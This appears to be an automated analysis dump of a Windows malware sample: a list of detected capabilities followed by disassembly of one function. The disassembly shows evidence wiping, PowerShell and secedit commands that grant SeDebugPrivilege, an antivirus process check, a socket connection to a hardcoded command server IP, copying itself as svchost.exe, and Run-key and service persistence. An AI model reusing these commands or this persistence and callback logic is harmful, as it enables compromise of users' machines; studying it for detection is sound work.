Function at 0x1000652b
Capabilities:
Connect socket
Contain obfuscated stackstrings
Copy file
Create http request
Create process on windows
Create thread
Delete file
Initialize winsock library
Persist via application shimming
Persist via run registry key
Read data from internet
Receive data
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9dc
push ebx
push esi
push edi
push reloc.WS2_32.dll_closesocket
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:del
call esi
push str.C:_tzfz
call esi
push str.C:1.ini
call esi
push str.C:2.ini
call esi
push str.C:inst.ini
call esi
push str.C:odbc.ini
call esi
push str.C:odbc.inst.ini
call esi
push str.C:ProgramDataMicrosoftEdgeUpdateLogchuangkou.log
call esi
push 1
pop edi
push edi
push 0x10027b98
call fcn.10001c5c
push edi
push str.C:ProgramDataProgramiusb3mon.exe
call fcn.10001c5c
push edi
push str.C:ProgramDataMicrosoftProgram
call fcn.10001c5c
push edi
push str.C:ProgramDataProgram
call fcn.10001c5c
push edi
push str.C:ProgramData
call fcn.10001c5c
push edi
push str.C:ProgramDataDataupx.exe
call fcn.10001c5c
push edi
push str.C:un.exe
call fcn.10001c5c
push edi
push str.C:ProgramDataDataupx.rar
call fcn.10001c5c
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 0x40
xor ebx, ebx
push ebx
push str.powershell.exe__NoProfile__C__Set_Content__Value____Unicode__Unicodeyes__Version__signature__CHICAGO___Revision1__Privilege_Rights__SeDebugPrivilege__S_1_5_18__File_Security___C:ProgramDataProgram__0__D:AR_D_OICI_DTSDRCWD___WD_____Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege1.inf____Encoding_Unicode__secedit.exe__configure__db___IO.Path_::Combine__env:TEMP__SeDebugPrivilege1.sdb____cfg___IO.Path_::Combine__env:TEMP__SeDebugPrivilege1.inf____overwrite__log___IO.Path_::Combine__env:TEMP__SeDebugPrivilege1.log____quiet__Remove_Item__Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege1.____Force__
call esi
push ebx
push str.powershell.exe__NoProfile__C__Set_Content__Value____Unicode__Unicodeyes__Version__signature__CHICAGO___Revision1__Privilege_Rights__SeDebugPrivilege__S_1_5_18__File_Security___C:ProgramDataMicrosoftProgram__0__D:AR_D_OICI_DTSDRCWD___WD_____Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege2.inf____Encoding_Unicode__secedit.exe__configure__db___IO.Path_::Combine__env:TEMP__SeDebugPrivilege2.sdb____cfg___IO.Path_::Combine__env:TEMP__SeDebugPrivilege2.inf____overwrite__log___IO.Path_::Combine__env:TEMP__SeDebugPrivilege2.log____quiet__Remove_Item__Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege2.____Force__
call esi
push ebx
push str.powershell.exe__NoProfile__C__Set_Content__Value____Unicode__Unicodeyes__Version__signature__CHICAGO___Revision1__Privilege_Rights__SeDebugPrivilege__S_1_5_18__File_Security___C:ProgramDataData__0__D:AR_D_OICI_DTSDRCWD___WD_____Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege3.inf____Encoding_Unicode__secedit.exe__configure__db___IO.Path_::Combine__env:TEMP__SeDebugPrivilege3.sdb____cfg___IO.Path_::Combine__env:TEMP__SeDebugPrivilege3.inf____overwrite__log___IO.Path_::Combine__env:TEMP__SeDebugPrivilege3.log____quiet__Remove_Item__Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege3.____Force__
call esi
push ebx
push str.powershell.exe__NoProfile__C___IO.File_::WriteAllBytes__IO.Path_::Combine__env:TEMP__SeDebugPrivilege4.inf____Convert_::FromBase64String___5bAFUAbgBpAGMAbwBkAGUAXQANAAoAVQBuAGkAYwBvAGQAZQA9AHkAZQBzAA0ACgBbAFYAZQByAHMAaQBvAG4AXQANAAoAcwBpAGcAbgBhAHQAdQByAGUAPQAiACQAQwBIAEkAQwBBAEcATwAkACIADQAKAFIAZQB2AGkAcwBpAG8AbgA9ADEADQAKAFsAUAByAGkAdgBpAGwAZQBnAGUAIABSAGkAZwBoAHQAcwBdAA0ACgBTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlACAAPQAgACoAUwAtADEALQA1AC0AMQA4AA0ACgA____secedit.exe__configure__db___IO.Path_::Combine__env:TEMP__SeDebugPrivilege4.sdb____cfg___IO.Path_::Combine__env:TEMP__SeDebugPrivilege4.inf____overwrite__log___IO.Path_::Combine__env:TEMP__SeDebugPrivilege4.log____quiet__Remove_Item__Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege4.____Force__
call esi
cmp dword [0x10043664], edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
jne 0x10006620
push ebx
push ebx
push ebx
push 0x100060cf
push ebx
push ebx
call esi
cmp dword [0x10043668], edi
jne 0x10006634
push ebx
push ebx
push ebx
push 0x10005eaf
push ebx
push ebx
call esi
cmp dword [0x1004366c], edi
jne 0x10006648
push ebx
push ebx
push ebx
push 0x10005e63
push ebx
push ebx
call esi
cmp dword [0x10043670], edi
jne 0x1000665c
push ebx
push ebx
push ebx
push fcn.1000613e
push ebx
push ebx
call esi
cmp dword [0x10043674], edi
jne 0x10006694
push ebx
push ebx
push ebx
push 0x10006335
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push 0x100064df
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push 0x10001b55
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push 0x100063b2
push ebx
push ebx
call esi
cmp dword [0x10043678], edi
jne 0x1000673a
push str.360Tray.exe
call fcn.10005dee
test eax, eax
pop ecx
je 0x100066dc
push ebx
push str.c:inst.ini
call fcn.10009f70
pop ecx
cmp eax, 0xffffffff
pop ecx
mov esi, 0x10002c00
je 0x100066d5
push edi
push ebx
push ebx
push ebx
push esi
push ebx
push ebx
call fcn.10008acb
add esp, 0x1c
push str.iiiiiiiiiiiiiiii.exe
jmp 0x10006716
push str.360tray.exe
call fcn.10005dee
test eax, eax
pop ecx
je 0x10006727
push ebx
push str.c:inst.ini
call fcn.10009f70
pop ecx
cmp eax, 0xffffffff
pop ecx
mov esi, 0x10002c00
je 0x10006711
push edi
push ebx
push ebx
push ebx
push esi
push ebx
push ebx
call fcn.10008acb
add esp, 0x1c
push str.iiiiiiiiiiiii.exe
call fcn.10005dee
test eax, eax
pop ecx
je 0x1000673a
push edi
push ebx
push ebx
push ebx
push esi
jmp 0x10006730
push edi
push ebx
push ebx
push ebx
push 0x10002c00
push ebx
push ebx
call fcn.10008acb
add esp, 0x1c
cmp dword [0x1004367c], 1
mov edi, str.149.104.166.78
jne 0x100067b6
mov dword [ebp - 4], ebx
mov esi, dword [0x10043314]
lea eax, [ebp - 0x1b8]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
push ebx
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 8], eax
mov word [ebp - 0x18], 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push esi
call dword [sym.imp.WS2_32.dll_htons]
push edi
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push 0x10
push eax
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100067b6
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jg 0x10006978
cmp dword [ebp - 4], 5
jl 0x1000674b
cmp dword [0x10043680], 1
jne 0x100068a1
mov dword [ebp - 4], ebx
mov esi, 0x824
push esi
lea eax, [ebp - 0x9dc]
push ebx
push eax
call fcn.10009c20
add esp, 0xc
mov dword [ebp - 0x28], ebx
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_4.0__compatible_
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x10006894
push edi
lea eax, [ebp - 0x12c]
push str.http:___s_ip.txt
push eax
call fcn.1000a0fb
add esp, 0xc
lea eax, [ebp - 0x12c]
push ebx
push 0x80000100
push ebx
push ebx
push eax
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, ebx
mov dword [ebp - 0x24], eax
je 0x10006894
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x9dc]
push esi
push eax
push dword [ebp - 0x24]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [ebp - 0x28], ebx
ja 0x1000682d
lea eax, [ebp - 0x9dc]
push eax
call fcn.1000a080
cmp eax, 0x10
pop ecx
jae 0x10006882
lea eax, [ebp - 0x9dc]
push eax
push edi
call fcn.10009fc0
pop ecx
test eax, eax
pop ecx
je 0x1000687b
lea eax, [ebp - 0x9dc]
push eax
push edi
call fcn.10009e80
pop ecx
pop ecx
mov dword [ebp - 4], 4
push dword [ebp - 0x24]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x100067cb
mov ecx, 0x10049a50
call fcn.1000813c
mov eax, 0x10043534
mov ecx, eax
test ecx, ecx
je 0x100068ca
push 1
push ebx
push ebx
push eax
push 0x10005d3a
push ebx
push ebx
call fcn.10008acb
add esp, 0x1c
cmp dword [0x100434cc], ebx
jne 0x100069b8
cmp dword [0x100434c8], 1
jne 0x1000697f
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x12b]
mov byte [ebp - 0x12c], bl
push 6
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
lea eax, [ebp - 0x12c]
mov esi, str.C:Windows_
lea edi, [ebp - 0x20]
push 0x104
push eax
rep movsd dword es:[edi], dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x20]
push ebx
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 8]
push eax
push 0xf003f
push ebx
push 0x10028780
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10006969
lea eax, [ebp - 0x20]
push 0x18
push eax
push 1
push ebx
push 0x10049638
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.10005826
push 0x3c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10006969
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x100434c4], 1
jne 0x10006a86
call fcn.10006dab
test eax, eax
je 0x100069d4
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x10043380
push eax
mov dword [ebp - 0x14], 0x100059b5
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
call fcn.10005826
cmp dword [0x100434cc], 1
jne 0x10006a86
call fcn.10005826
push 0x3c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100069c5
lea eax, [ebp - 0x12c]
push 0xe1
push eax
push ebx
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1f], 0x3a
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x57
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x64
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x77
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x5c
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x76
mov byte [ebp - 0x13], 0x63
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xe], 0x2e
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x78
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], bl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x20]
push ebx
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.1000574b
push str.Cdefghij_Lmnopqrst_Vwxyabc_Efghijkl_Nop
push str.Cdefgh_Jklmnopq_Stuvwxya_Cdef
push 0x10043380
call fcn.10006a8b
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10005826
push ebx
call fcn.1000aadb
pop edi
pop esi
pop ebx
leave
ret